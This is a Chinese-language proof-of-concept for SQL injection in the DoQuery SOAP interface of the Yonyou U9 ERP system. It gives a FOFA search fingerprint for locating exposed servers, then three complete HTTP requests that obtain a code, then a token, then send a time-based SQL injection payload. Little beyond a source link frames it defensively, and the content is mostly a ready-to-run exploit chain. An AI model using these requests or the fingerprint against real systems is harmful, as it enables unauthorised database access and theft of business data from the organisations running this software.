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# 用友U9系统DoQuery接口存在SQL注入
用友u9 `DoQuery` 接口存在SQL注入，攻击者可通过该漏洞获取敏感信息。
## fofa
```yaml
body="logo-u9.png"
```
## poc
**第一步：获取code**
```yaml
POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: 309
SOAPAction: "http://tempuri.org/GetEnterprise"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetEnterprise xmlns="http://tempuri.org/" />
</soap:Body>
</soap:Envelope>
```
![image-20240730093905712](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202407300939798.png)
**第二步：获取token**
```yaml
POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: 345
SOAPAction: "http://tempuri.org/GetToken"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetToken xmlns="http://tempuri.org/">
<endId>000</endId>
</GetToken>
</soap:Body>
</soap:Envelope>
```
![image-20240730093936752](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202407300939822.png)
**第三步：SQL注入，token处填入上面获取的**
```yaml
POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: 345
SOAPAction: "http://tempuri.org/DoQuery"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<DoQuery xmlns="http://tempuri.org/">
<token></token>
<command>select 1;waitfor delay '0:0:1' --</command>
</DoQuery>
</soap:Body>
</soap:Envelope>
```
![image-20240730094018683](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202407300941078.png)
## 漏洞来源
- https://mp.weixin.qq.com/s/FTbXyr8U5pW8RGtgurFV4A